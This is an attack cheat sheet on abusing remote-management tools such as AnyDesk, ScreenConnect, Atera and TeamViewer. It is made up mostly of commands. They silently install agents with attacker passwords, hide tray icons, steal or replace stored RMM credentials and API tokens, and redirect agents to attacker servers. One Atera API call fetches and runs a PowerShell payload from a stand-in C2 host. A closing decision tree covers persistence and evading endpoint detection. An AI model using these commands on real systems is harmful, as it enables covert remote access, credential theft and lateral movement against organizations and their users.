RMM Tool Abuse

# Deploy AnyDesk silently
curl -sLo anydesk.exe "https://download.anydesk.com/AnyDesk.exe"
anydesk.exe --install "C:\ProgramData\AnyDesk" --start-with-win --silent
echo <ATTACKER_ANYDESK_PASS> | anydesk.exe --set-password
anydesk.exe --get-id > anydesk_id.txt

# Deploy ScreenConnect silently
msiexec /i "https://<SCREENCONNECT_SERVER>/Bin/ScreenConnect.ClientSetup.msi" /qn

# Deploy Atera agent silently
msiexec /i AteraAgent.msi /qn IntegratorLogin=<ATERA_EMAIL> CompanyId=1

# Find existing RMM installations
wmic product get name,version | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja level"
reg query "HKLM\SOFTWARE" /s /f "AnyDesk" 2>nul
reg query "HKLM\SOFTWARE" /s /f "TeamViewer" 2>nul

# Windows — enumerate installed RMM products
wmic product get name,version 2>nul | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja connectwise level action1 datto"

# Service enumeration
sc query type= service state= all | findstr /i "AnyDesk TeamViewer ScreenConnect Atera"

# Registry checks for common RMM artifacts
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v ClientID 2>nul
reg query "HKLM\SOFTWARE\AnyDesk" 2>nul
reg query "HKLM\SOFTWARE\ScreenConnect Client" 2>nul

# Process enumeration
tasklist /fi "imagename eq AnyDesk.exe" 2>nul
tasklist /fi "imagename eq TeamViewer.exe" 2>nul
tasklist /fi "imagename eq ScreenConnect.WindowsClient.exe" 2>nul

# Linux — check for RMM agents
ps aux | grep -iE 'anydesk|teamviewer|rustdesk'
find / -name "anydesk" -o -name "teamviewerd" 2>/dev/null
systemctl list-units | grep -iE 'anydesk|teamviewer'

# Network — identify RMM traffic patterns
netstat -ano | findstr "443 80 7070 5938"
# TeamViewer: ports 5938, 443 to *.teamviewer.com
# AnyDesk: port 443 to *.net.anydesk.com
# ScreenConnect: port 443 to custom server

# Download and silent install
curl -sLo C:\ProgramData\anydesk.exe "https://download.anydesk.com/AnyDesk.exe"

# Install as service with unattended access
C:\ProgramData\anydesk.exe --install "C:\ProgramData\AnyDesk" --start-with-win --silent

# Set unattended password
echo "<ATTACKER_PASS>" | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password

# Retrieve AnyDesk ID for remote connection
"C:\ProgramData\AnyDesk\AnyDesk.exe" --get-id

# Config file manipulation for stealth
# Disable tray icon and notification
echo "ad.security.interactive_access=2" >> "C:\ProgramData\AnyDesk\system.conf"
echo "ad.ui.tray_icon=0" >> "C:\ProgramData\AnyDesk\system.conf"

# Linux deployment
curl -sLo /tmp/anydesk.deb "https://download.anydesk.com/linux/anydesk_amd64.deb"
dpkg -i /tmp/anydesk.deb 2>/dev/null
echo "<ATTACKER_PASS>" | anydesk --set-password
anydesk --get-id

# Generate MSI from attacker-controlled ScreenConnect instance
# URL format: https://<SERVER>/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

# Silent MSI install
msiexec /i "https://<SCREENCONNECT_SERVER>/Bin/ScreenConnect.ClientSetup.msi" /qn /norestart

# Custom session group for organization
msiexec /i ScreenConnect.ClientSetup.msi /qn \
  SESSIONGROUP="<TARGET_ORG>" \
  SESSIONNAME="IT-Support-%COMPUTERNAME%"

# Verify service running
sc query "ScreenConnect Client (xxxxxxxx)" 2>nul

# ScreenConnect relay traffic uses HTTPS to attacker server — looks like normal web traffic

# Silent install with predefined password
TeamViewer_Setup.exe /S /norestart

# Configure unattended access via registry
reg add "HKLM\SOFTWARE\TeamViewer" /v SecurityPasswordAES /t REG_BINARY /d <AES_ENCRYPTED_PASS> /f
reg add "HKLM\SOFTWARE\TeamViewer" /v SecurityPasswordExported /t REG_DWORD /d 1 /f

# Retrieve TeamViewer ID
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v ClientID

# Alternative: TeamViewer Host (headless mode for servers)
TeamViewer_Host_Setup.exe /S /norestart

# Atera agent — requires attacker Atera account (free trial works)
# Generate installer from Atera console with unique agent link

# Silent install
msiexec /i AteraAgent.msi /qn IntegratorLogin=<ATERA_ACCT_EMAIL> CompanyId=1

# Atera provides: remote shell, file manager, software deployment, script execution
# All traffic over HTTPS to *.atera.com — indistinguishable from legitimate MSP traffic

# If RMM is already deployed, hijack the admin console

# TeamViewer — extract credentials from registry/config
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v SecurityPasswordAES
# Decrypt with known TeamViewer AES key (static per-version key)

# AnyDesk — extract config and connection tokens
type "C:\ProgramData\AnyDesk\system.conf"
type "C:\ProgramData\AnyDesk\service.conf"
# Look for ad.security.password_hash — can be replaced with attacker hash

# ScreenConnect — if you have access to the ScreenConnect server
# Extension/plugin abuse for code execution on all managed endpoints
# Navigate to Admin > Extensions > upload malicious extension

# Atera — API token theft
# Atera API key in: registry, agent config, or intercepted API calls
reg query "HKLM\SOFTWARE\ATERA Networks\AlphaAgent" /s

# ConnectWise Automate — agent hijack
# Config stored in: C:\Windows\LTSvc\labtech.ini
type C:\Windows\LTSvc\labtech.ini
# Contains: ServerAddress, ComputerID, LocationID
# Redirect agent to attacker Automate server by modifying ServerAddress

# Once RMM admin access is obtained, lateral movement is trivial:

# ScreenConnect — execute commands on any managed endpoint
# From ScreenConnect web UI: select host → Commands → Run Command
# Or via ScreenConnect API:
curl -sk "https://<SC_SERVER>/Services/PageService.ashx/RunCommand" \
  -H "Cookie: <ADMIN_SESSION>" \
  -d '{"sessionID":"<TARGET_SESSION>","command":"whoami && ipconfig /all"}'

# Atera — remote script execution across all managed devices
# Atera API: run PowerShell on any agent
curl -s "https://app.atera.com/api/v3/agents/<AGENT_ID>/runscript" \
  -H "X-Api-Key: <ATERA_API_KEY>" \
  -H "Content-Type: application/json" \
  -d '{"scriptContent":"IEX (New-Object Net.WebClient).DownloadString(\"http://<C2>/payload.ps1\")"}'

# TeamViewer — mass deployment via TeamViewer Management Console
# Use Remote Management > Patch Management to deploy "updates" (payloads)

# File transfer via RMM
# AnyDesk: drag-and-drop or anydesk --file-transfer
# ScreenConnect: Toolbox > Transfer Files
# Atera: Manage > File Explorer > Upload

# Use RMM's built-in remote shell as C2 channel
# Advantages:
#   - Encrypted HTTPS traffic to vendor cloud
#   - Vendor-signed process
#   - Allowed by firewall/proxy
#   - No custom C2 infrastructure needed

# AnyDesk C2 pattern:
# 1. Install AnyDesk on target
# 2. Set unattended password
# 3. Connect from operator workstation
# 4. Use AnyDesk's terminal feature for command execution

# ScreenConnect C2 pattern:
# 1. Deploy ScreenConnect agent pointing to attacker relay
# 2. Use Backstage shell for persistent command line
# 3. Use Extensions for automated task execution

# Polling interval modification (reduce beacon frequency for stealth)
# AnyDesk: modify ad.net.direct_connections in system.conf
# TeamViewer: adjust AlwaysOnline polling interval

IF existing RMM installation found on target:
  → Extract credentials/tokens from agent config
  → Attempt to hijack RMM admin console
  → Use existing RMM for lateral movement across managed endpoints

IF no RMM installed but need persistence:
  → Deploy AnyDesk (smallest footprint, portable mode available)
  → Fallback: ScreenConnect (requires attacker-controlled server)
  → Last resort: Atera (full MSP suite, more features but larger footprint)

IF EDR is aggressive:
  → Use portable/standalone RMM binary (no install, no service)
  → Rename binary to match legitimate IT naming conventions
  → Deploy during business hours to blend with IT admin activity